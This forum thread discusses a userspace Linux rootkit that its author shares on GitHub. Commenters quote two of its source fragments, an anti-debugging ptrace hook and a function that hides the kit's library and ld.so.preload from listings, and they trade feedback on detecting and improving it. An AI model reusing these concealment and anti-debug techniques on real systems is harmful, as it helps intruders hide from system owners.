[ring-1]

Would you mind putting it on github for those of us that don't want to actually download it so we can just view the code?

I was actually thinking the exact same thing!


@ring-1
Please let me know if you do end up posting it!

https://github.com/ring-1/zendar
Enjoy, friends.

Glad to see someone is at least trying to make something new.

Also, just because a tool is userspace does not necessarily mean it's automatically inferior to kernel-mode stuff. Unhide still finds all the publicly-available kernel rootkits with no modification required.

Code:

long ptrace(void *request, pid_t pid, void *addr, void *data){ printf("%s\n",ANTI_DEBUG); rewrite(anti_debug_msg, strlen(anti_debug_msg)); exit(-1); }

This seriously messes stuff up. Don't do it. It prevents some distros from booting, even.

Code:

int hiddenFile(const char *a){ if(strstr(a, "libsslcore.so") != NULL){ return 1; } if(strstr(a, "ld.so.preload") != NULL){ return 1; } if(strstr(a, HIDDEN_STRING) != NULL){ return 1; } return 0; }

Using strstr() allows someone to detect the kit by simply creating a file called ld.so.preload and watching it disappear

Changed method for preventing the user from removing ld.so.preload & removed ptrace() from the kit.
Still using strstr(). I'll change my method eventually.